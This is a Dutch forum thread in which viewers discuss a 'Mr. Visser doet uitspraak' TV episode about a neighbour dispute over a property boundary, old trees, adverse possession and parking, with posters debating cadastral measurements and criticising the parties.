En dan nog, ze hebben het over het wegnemen van het uitzicht aan de zijkant van de woning! Aan de achterzijde hebben ze nog steeds een weids uitzicht.
Stel dat de grond achter hen wordt opgekocht door een projectontwikkelaar die daar een complete woonwijk gaat bouwen. Dat kan zomaar.
Denken ze echt recht op een onmeetbaar uitzicht te hebben?
Of het huis mooi is of niet, is niet de kwestie, lijkt me. Hij heeft toestemming gekregen die kleur stenen te gebruiken.
Kijk het maar even af eerst haha...quote:
Ben het nu aan 't kijken, heb de uitspraak nog niet gelezen.
Maar, wat een drama van die mensen, met neptranen.
Ze kregen binnen 20 jaren te horen dat hun hek over de grens staat, dus imo niet verjaard.
Die bomen? Weet ik nog niet. Zal wel iemand komen vertellen hoe oud die zijn. Ouder dan 20 jaar. Verjaard.
En dan nog, ze hebben het over het wegnemen van het uitzicht aan de zijkant van de woning! Aan de achterzijde hebben ze nog steeds een weids uitzicht.
Stel dat de grond achter hen wordt opgekocht door een projectontwikkelaar die daar een complete woonwijk gaat bouwen. Dat kan zomaar.
Denken ze echt recht op een onmeetbaar uitzicht te hebben?
Of het huis mooi is of niet, is niet de kwestie, lijkt me. Hij heeft toestemming gekregen die kleur stenen te gebruiken.
Dat meten was niet door het kadaster gedaan. Het paaltje was ook niet door het kadaster geslagen.
Kan mij ergens wel voorstellen in de emotie dat ze dan ook aangrijpen dat het zo donker is aan de zijkant. Niet relevant, maar ja emotie gok ik.
had ik precies zo, in eerste instantie dacht ik zeurende dorpsbewoners die niet tegen verandering kunnen. Maar daarna, die kerel wat een misselijkmakende zeikerd.quote:
Wat ik eigenlijk vooral grappig vond, is dat ik op voorhand dacht....ach ach die oudjes zijn van die originele bewoners van het dorp, erg kerkelijk met zijn "de buurman is Satan". Boos omdat iemand een modern idee heeft en dat is bah. En dan kom je er gaandeweg achter dat meneer de almachtige boedha en conflictoplosser, de achterlijke is...grappig die vooroordelen die je soms hebt.
Deel 2, zometeen de hoorzitting.quote:
[..]
Kijk het maar even af eerst haha...
Dat meten was niet door het kadaster gedaan. Het paaltje was ook niet door het kadaster geslagen.
Kan mij ergens wel voorstellen in de emotie dat ze dan ook aangrijpen dat het zo donker is aan de zijkant. Niet relevant, maar ja emotie gok ik.
Ik vind die 2 mensen wel zeer onsympathiek. De andere vent is een slijmjurk. Dus heb niet echt een voorkeur.
Zo te zien, klopt de grens aardig. Alleen een centimeter of 8 aan de voorzijde. Waar hebben we het over.
Die bomen lijken me oud genoeg om verjaard te zijn.
Dus vrees dat mijnheer de boeddhist dit gaat verliezen.
Snap de emotie ook wel van die mensen, wanneer je ineens je uitzicht aan die zijde kwijt bent, maar je hebt geen recht op dat uitzicht, en dat lijkt me ook niet te kunnen verjaren.
Ik vind de stenen, zwart, ook niet mooi. Zou mijn keuze niet zijn.
Maar die raam aan de achterkant! Geweldig!
Toch zou ik het wel leuk vinden als deze mijnheer achterburen zou krijgen die in zijn uitzicht staan.
quote:
[..]
Toch zou ik het wel leuk vinden als deze mijnheer achterburen zou krijgen die in zijn uitzicht staan.
Als die mensen niet hadden gezegd dat ze de kastanje zouden rooien, had dat ook niet gehoeven.
Beetje gemiste kans.
Ik verwacht overigens van mijnheer Hoogland dat hij tegen de erfgrens een schutting gaat zetten van 2 meter hoog, vanaf het punt dat het zo hoog mag, en daarvoor een meter hoog.
Want die kant wil hij toch niet uitkijken. Zitten in elk geval je buren niet op je bord te kijken.
Er is nog meer te koop.quote:Aan de landelijke Molenweg, gelegen tussen Rodenrijs en Pijnacker, ligt een strook met bouwkavels. Op dit moment doet de kans zich voor om één daarvan te bemachtigen. Het gaat om een kavel van 580m² eigen grond dat over enige tijd aan de achterzijde zal grenzen aan een nieuw te graven waterpartij.
Rotterdam en Delft zijn in slechts luttele autominuten goed bereikbaar maar toch bevindt u zich straks in een oase van rust. De landelijke ligging zal u daarnaast ontspanning en recreatiemogelijkheden bieden.
De afmeting van het perceel bedragen circa 15 meter breed bij circa 39 meter diep. Daarop mag één woning worden gebouwd met een maximale bouwhoogte van 9 meter en een maximale goothoogte van 4,5 meter.
Achter deze woningen komt een waterpartij.
Helaas
Klopt:quote:
https://www.funda.nl/koop(...)weg/kadaster%201302/
[..]
Er is nog meer te koop.
Achter deze woningen komt een waterpartij.
Helaas
Dat is dus de kavel aan de andere kant van de boze buurman, zelfde aantal m² trouwens.quote:
Als je een paar duiten overhebt kun je zelf iets aan de andere kant van de boze buurman bouwen...
https://www.funda.nl/koop(...)d-49131839-molenweg/
Wel waardeloos trouwens, in het buitengebied een kavel van 580m².... je ziet hoe die hut van de boze buurman misstaat op zo'n kleine kavel.
Had het hele topic niet gelezen.quote:
[..]
Klopt:
[..]
Dat is dus de kavel aan de andere kant van de boze buurman, zelfde aantal m² trouwens.
Maar goed. De afstand om bomen te planten, aldaar, is dus 1 meter van de erfgrens. Als ik van der Spek was zette ik daar een hele rij coniferen die 6 meter hoog kunnen worden. Heb je een mooi uitzicht, hoef je dat vermaledijde zwarte huis, grafkist, niet meer te zien.
Je kan wel bezig blijven, hij had gewoon een recent oordeel van het kadaster.quote:
Wat was frank weer lekker partijdig, hij wilde niet eens de kadasterpapieren zien van meneer.
Hier hoef je er niet eens vergunning voor te vragen, laat staan dat iemand bezwaar kan maken als wij een, pakweg 100-jarige, hemelboom op ons erf om zouden willen laten zagen.quote:
Man, als het om bomen gaat wordt er door totaal onbekende mensen bezwaar aangetekend.
Echt van de zotte.
Niet dat we dat willen, maar een kers die ervoor staat misschien wel. Tzt.
Hier in Helmond hebben we een bomenkaart. Alleen voor bomen die daarop staan, moet een vergunning aangevraagd worden.
Want? De erfgrens is in 2015 niet gemeten, dan heeft dat hekje van 1996 gewoon functie, namelijk de erfgrens zijn.quote:
Wat was frank weer lekker partijdig, hij wilde niet eens de kadasterpapieren zien van meneer.
http://www.wimhoogland.nl/info46/quote:Maandag 28 augustus 2017 op TV in Mr. Visser doet uitspraak. Die rijdende rechter was door de buren benaderd, omdat na vergeefse vriendelijke pogingen tot overleg helaas een sommatie nodig was om een overgroeiende kastanje weg te halen, gelegenheid voor een schutting te geven, hun oude versleten hek deels van onze grond te verwijderen en hun overgroeiende eik bij te houden. Met tegenzin een groot hart getoond door mee te doen. Voordelen waren dat de juridische uitspraak gratis was en dat het binnen drie weken kon. Nadeel was dat ze uit veel opnames korte stukjes knippen om stemming te maken en ze voor het programma op een winnaar en een verliezer aansturen. In de uitzending is bijvoorbeeld het vonnis bewust maar deels weergegeven. SBS6 en rechter/acteur Visser kiezen, zoals ze zelf stellen: ‘voor de gewone man’. Dat wisten wij uiteraard, maar wij wisten ook dat hij als rechter de wet zorgvuldig moet toepassen. Dat leverde, door vanuit onze kant maximaal in te zetten, een keurig bindend vonnis op: Uitspraak Van der Spek – Hoogland
Inmiddels is hun kastanje weg, de schutting bijna af, moeten de buren op hun kosten de eik bijhouden en zijn wij een dikke vierkante meter grond kwijt omdat hun landjepik verjaard bleek. Daarmee is dit onderdeeltje van het totale proces ook positief afgerond.
De aanleg van de tuin volgt.
Die man komt geenszins redelijk over. Gewoon een arrogante vent die alles recht probeert te lullen. Een kadastrale grens die volgens hem in 2015 is vastgelegd, maar waarvan tot 3 keer toe gezegd moet worden dat het in 2015 niet eens is nagemeten. Pas bij de 3e of 4e keer gaf meneer een stukje ongelijk toe.
Oh, in de hoorzitting komt meneer toch weer opnieuw met zijn 'metingen' uit 2015
Ik lig helemaal dubbel. Honderd keer vragen om het opleggen van een dwangsom bij de buren. En er dan zelf eentje opgelegd krijgen.
Die vent ziet ongetwijfeld zijn inkomsten in de komende maanden fors dalen.
En zijn "gerenommeerde juristen" moeten misschien nog even de wetboeken nakijken voordat ze hun volgende beweringen doen, om er zeker van te zijn dat de wet geen mogelijkheid geeft voor uitzonderingen.
[ Bericht 22% gewijzigd door Ivo1985 op 29-08-2017 20:55:53 ]
In zijn vak is daar een term voor; projecteren.quote:
[..]
Dit zijn de mensen die anderen graag een spiegel willen voorleggen over hun gedrag (en daar hun werk van maken), maar zelf nooit in de spiegel kijken.
Dat dus...hahaquote:
[..]
In zijn vak is daar een term voor; projecteren.
Op de 3e afbeelding op die pagina zie je perfect de 2 bewuste bomen afgebeeld en daarnaast de naar links toe afbuigende erfgrens, onderaan bij het begin van de oprit.quote:
De mensen die de tekeningen hebben gemaakt zijn dus uitgegaan van de situatie zoals door meester Visser is bevestigd.
Wat een trieste gast zeg.. "in het programma leek het wel alsof ik verloren had, maar ik heb toch gewonnen hoor!"quote:
Nee die man beweerde in de hoorzitting dat het kadaster en de gemeente een andere grens hebben uitgemeten volgens hem waren het paaltje en de papieren die hij bij zich had het bewijs daarvan.quote:
[..]
Want? De erfgrens is in 2015 niet gemeten, dan heeft dat hekje van 1996 gewoon functie, namelijk de erfgrens zijn.
Frank bleef koppig roepen dat het kadaster de enige juiste grens had uitgezet en heeft de papieren niet bekeken.
Mr visser had minimaal de papieren moeten bekijken.
Dat is niet waar, hij heeft niet toegegeven fout te zitten hij heeft zelfs meerdere keren met papieren gewapperd die volgens hem het tegendeel bewijzen, mr visser wilde die niet zien.quote:
Ik ben aan het terugkijken.
Die man komt geenszins redelijk over. Gewoon een arrogante vent die alles recht probeert te lullen. Een kadastrale grens die volgens hem in 2015 is vastgelegd, maar waarvan tot 3 keer toe gezegd moet worden dat het in 2015 niet eens is nagemeten.
Dat had ik dus al toen ik de aflevering zag. Uit ervaring weet ik dat naast of op bouwtekeningen ook bestaande situaties worden weergegeven.quote:
[..]
Op de 3e afbeelding op die pagina zie je perfect de 2 bewuste bomen afgebeeld en daarnaast de naar links toe afbuigende erfgrens, onderaan bij het begin van de oprit.
De mensen die de tekeningen hebben gemaakt zijn dus uitgegaan van de situatie zoals door meester Visser is bevestigd.
Snap dan ook niet dat het huis zogenaamd zo is gemaakt dat hij last van de bomen heeft.
Maar het was al bewezen door het kadaster dat dit niet zo was, bovendien bleek ook uit de meting die nu wel was gedaan dat dit paaltje niet de erfgrens was, dussss waarom dan nog de papieren bekijken.quote:
[..]
Nee die man beweerde in de hoorzitting dat het kadaster en de gemeente een andere grens hebben uitgemeten volgens hem waren het paaltje en de papieren die hij bij zich had het bewijs daarvan.
Frank bleef koppig roepen dat het kadaster de enige juiste grens had uitgezet en heeft de papieren niet bekeken.
Mr visser had minimaal de papieren moeten bekijken.
Omdat je daarmee volledig op het kadaster vertrouwd, die overgins niet de bewering hebben gedaan dat er niet gemeten is in 2015 maar dat bij hun niks bekend is over een meting in 2015.quote:Op woensdag 30 augustus 2017 15:00 schreef Budabuddumbam het volgende:
[..]
Maar het was al bewezen door het kadaster dat dit niet zo was, bovendien bleek ook uit de meting die nu wel was gedaan dat dit paaltje niet de erfgrens was, dussss waarom dan nog de papieren bekijken.
Ik zeg niet dat het zo is maar stel dat die papieren zwart op wit onomstotelijk bewijzen dat er iets niet klopt, dat het kadaster wel degelijk langs is geweest(dat zijn ze maar dan voor een andere grens), dan heeft mr visser een zware blunder begaan.
Als rijdende rechter was hij nooit zo informeel, hij pakte elk mogelijk bewijsmateriaal aan zelfs als het een volgeklade servet was.
Waar of niet waar (niet waar), het gaat om wat de kadaster meet.quote:
[..]
Dat is niet waar, hij heeft niet toegegeven fout te zitten hij heeft zelfs meerdere keren met papieren gewapperd die volgens hem het tegendeel bewijzen, mr visser wilde die niet zien.
Dit dus.quote:
[..]
Maar het was al bewezen door het kadaster dat dit niet zo was, bovendien bleek ook uit de meting die nu wel was gedaan dat dit paaltje niet de erfgrens was, dussss waarom dan nog de papieren bekijken.
Ze hebben in 2015 de achtergrens uitgemeten, en dat was nodig omdat het 2 kavels zijn die uit een weiland komen, de achtergrens was daarbij vooral van belang (en de erfgrens aan de andere kant), omdat de erfgrens aan de kant met de bestaande buren gewoon vast lag door verjaring, die is simpelweg zoals die is.
Als Hoogland denkt dat hij te weinig m² heeft dan moet hij dat opnemen met degene die hem de kavel verkocht heeft en er aan de achterkant maar een paar m² bij krijgen, maar die erfgrens met de bestaande buren is simpelweg de bestaande erfgrens, al was het alleen al omdat dat hek er al >20 jaar staat.
Maar goed, hij zou 580m² moeten hebben, als hij dat niet heeft dan zijn er meer dan genoeg mogelijkheden om de ontbrekende m² erbij te krijgen van de eigenaar van het weiland waar die m² voor die bouwkavels uit komen.
Nee zeker niet zoals mr visser zelf vermeld is de grens die het kadaster meet niet altijd de juridische grens, als er in 2015 wel een meting is uitgevoerd staat de hele zaak op zijn kop!quote:
[..]
Waar of niet waar (niet waar), het gaat om wat de kadaster meet.
Nogmaals dat weten we niet want de partij heeft geen kans gekregen te bewijzen dat er in 2015 wel een andere meting heeft plaatsgevonden!quote:
[..]
Dit dus.
Ze hebben in 2015 de achtergrens uitgemeten, en dat was nodig omdat het 2 kavels zijn die uit een weiland komen, de achtergrens was daarbij vooral van belang (en de erfgrens aan de andere kant), omdat de erfgrens aan de kant met de bestaande buren gewoon vast lag door verjaring, die is simpelweg zoals die is.
Als Hoogland denkt dat hij te weinig m² heeft dan moet hij dat opnemen met degene die hem de kavel verkocht heeft en er aan de achterkant maar een paar m² bij krijgen, maar die erfgrens met de bestaande buren is simpelweg de bestaande erfgrens, al was het alleen al omdat dat hek er al >20 jaar staat.
Maar goed, hij zou 580m² moeten hebben, als hij dat niet heeft dan zijn er meer dan genoeg mogelijkheden om de ontbrekende m² erbij te krijgen van de eigenaar van het weiland waar die m² voor die bouwkavels uit komen.
Juist doordat in deze zaak de kadastrale grens niet de juridische grens is, maakt het hier niet uit hoe de kadastrale grens precies loopt. En dus maakt het ook niet uit of en wat er in 2015 is gemeten. Het bestaande oude hekje is immers, door verjaring van zaken, de juridische erfgrens. Ook als het kadaster in het verleden andere paaltjes heeft neergezet.quote:
[..]
Nee zeker niet zoals mr visser zelf vermeld is de grens die het kadaster meet niet altijd de juridische grens, als er in 2015 wel een meting is uitgevoerd staat de hele zaak op zijn kop!
Juist niet stel dat er in 2015 een meting is geweest dan heeft die de verjaring gestuit, immers zegt de wet dat een stuk grond alleen door verjaring van eigenaar kan wisselen indien het stuk grond zonder kennis van de eigenaar in bezit is genomen en gehouden voor 20 jaar.quote:
[..]
Juist doordat in deze zaak de kadastrale grens niet de juridische grens is, maakt het hier niet uit hoe de kadastrale grens precies loopt. En dus maakt het ook niet uit of en wat er in 2015 is gemeten. Het bestaande oude hekje is immers, door verjaring van zaken, de juridische erfgrens. Ook als het kadaster in het verleden andere paaltjes heeft neergezet.
Als je er vanuit gaat dat er in 2015 een meting heeft plaatsgevonden dan was de eigenaar op de hoogte.
Daarom ben ik ook zo benieuwd wat er in die papieren stond! Ook bij het kadaster maken ze fouten!
Er is gewoon aangegeven dat er in 2015 een meting van de achtergrens is geweest, en geen meting van de erfgrens tussen de nieuw te ontwikkelen kavels en de bestaande kavel, die erfgrens bestond namelijk al.quote:
[..]
Nogmaals dat weten we niet want de partij heeft geen kans gekregen te bewijzen dat er in 2015 wel een andere meting heeft plaatsgevonden!
Leuk allemaal, maar in 2015 is er niet gevorderd om het hek te verplaatsen. In 2016 hielp de oude buur nog met de elektra in het nieuwe huis en was alles koek en ei. De problemen zijn pas ontstaan toen de nieuwe buur in de woning was getrokken en plannen is gaan maken voor de tuinslang. In 2017, dus na verstrijken van de verjaringstermijn.quote:
[..]
Juist niet stel dat er in 2015 een meting is geweest dan heeft die de verjaring gestuit, immers zegt de wet dat een stuk grond alleen door verjaring van eigenaar kan wisselen indien het stuk grond zonder kennis van de eigenaar in bezit is genomen en gehouden voor 20 jaar.
Als je er vanuit gaat dat er in 2015 een meting heeft plaatsgevonden dan was de eigenaar op de hoogte.
Daarom ben ik ook zo benieuwd wat er in die papieren stond! Ook bij het kadaster maken ze fouten!
Als de nieuwe buur had beweerd dat hij in 2015, direct na aanschaf van het perceel, al gevraagd had om verplaatsen van het hek hadden we een andere situatie gehad. Echter zouden partijen alsnog zich moeten binden aan de metingen die zijn uitgevoerd onder toeziend oog van de rechter. En dan zou dus alleen het kleine stukje wat iets scheelf wegloopt recht getrokken moeten worden. Nu mag dat stukje ook zo blijven als het is.
Als het kadaster in 2015 daadwerkelijk de erfgrens anders heeft aangegeven, waardoor de nieuwe buur nu minder vierkante meters heeft dan dat hij op papier heeft gekocht, is dat een zaak tussen de vorige eigenaar van het perceel, het kadaster en de nieuwe buur.
Op tv doet mr. Visser niet echt een uitspraak, maar brengt hij een bindend advies uit. Zowel de eiser als de verweerder hebben vooraf een contract ondertekend waarin ze verklaren het advies van mr. Visser te zullen naleven.quote:
Weet niet welke regels er zijn verbonden aan de deelname aan mr. Visser doet uitspraak.
Je kunt naar de rechter stappen om het advies van mr. Visser aan te vechten, maar de rechtbank zal voornamelijk kijken naar hoe het advies tot stand is gekomen. Als dat netjes is gebeurd (genoeg advies en informatie ingewonnen, beide partijen aangehoord, enz.) zal de rechtbank het eerder gegeven advies gestand laten - of misschien een beetje aanpassen.
Dat weet ik. Waar ik op doel is het reglement waar jij mee akkoord moet gaan als jij deelneemt aan het programma. Daar zal vast iets instaan van op moment x stukken indienen en dat zal niet tijdens de hoorzitting zijn.quote:
[..]
Op tv doet mr. Visser niet echt een uitspraak, maar brengt hij een bindend advies uit. Zowel de eiser als de verweerder hebben vooraf een contract ondertekend waarin ze verklaren het advies van mr. Visser te zullen naleven.
Je kunt naar de rechter stappen om het advies van mr. Visser aan te vechten, maar de rechtbank zal voornamelijk kijken naar hoe het advies tot stand is gekomen. Als dat netjes is gebeurd (genoeg advies en informatie ingewonnen, beide partijen aangehoord, enz.) zal de rechtbank het eerder gegeven advies gestand laten - of misschien een beetje aanpassen.
Ah, zoquote:
[..]
Dat weet ik. Waar ik op doel is het reglement waar jij mee akkoord moet gaan als jij deelneemt aan het programma. Daar zal vast iets instaan van op moment x stukken indienen en dat zal niet tijdens de hoorzitting zijn.
Geen idee eigenlijk, tijdens de hoorzitting lijkt mij ook aardig laat. Dan kan de verdediging er niks meer mee...
Wat een gruwelijk nare vent, die Hoogland. Continu schermen met z'n 'gerenommeerde, bevriende deskundigen', ofwel steeds pogen te intimideren op indirecte manier. Laffe manier van doen altijd.
En verder constant zogenaamd beschaafd blijven, maar ondertussen non-stop stoten onder de gordel blijven uitdelen aan de buren. Zoals tegen de buurman: 'Je hebt het geprobeerd en gewoon verloren joh, geef het nou gewoon toe'.
Onoprechte man, ook al zegt hij 100 keer dat hij o zo eerlijk is (hoe vaker mensen dat zeggen, hoe meer je kunt gaan twijfelen).
een oprit is priveterrein, dit is gewoon een openbare weg waar op zich best ruimte is om even neer te zetten.quote:
Ik zal ook eens gewoon bij een vreemde op de oprit parkeren.
Ja dan hadden ze daar wel een parkeervak gemaakt.quote:
[..]
een oprit is priveterrein, dit is gewoon een openbare weg waar op zich best ruimte is om even neer te zetten.
Het mag gewoon niet.
terecht dusquote:
en hij dus niet meer goed bij zijn achtertuin kan
Dat gaan we nog zien.quote:
[..]
Ja dan hadden ze daar wel een parkeervak gemaakt.
Het mag gewoon niet.
volgens mij ruikt deze meneer ook niet zo lekkerquote:
Ligt er aan wat ie heeft gegeten.quote:
[..]
volgens mij ruikt deze meneer ook niet zo lekker
Met de vut?quote:
Echt nie, daarom zeikt ie zo. De hele dag alles in de gaten houden.quote:
Rechts achter de boom het parkeervak.quote:
Links zijn deur.
Daar heeft ie geen tijd voor, hij moet de buurt terroriserenquote:
Er is geen parkeervak.quote:
Hoezo zou je daar niet mogen parkeren?
Ik moet ineens aan dat ene Funda huis denken. Met die Tarzan en Jane tuin. Zou dat al verkocht zijn?quote:
Eigen jungle in de achtertuin, wie wil dat nou niet?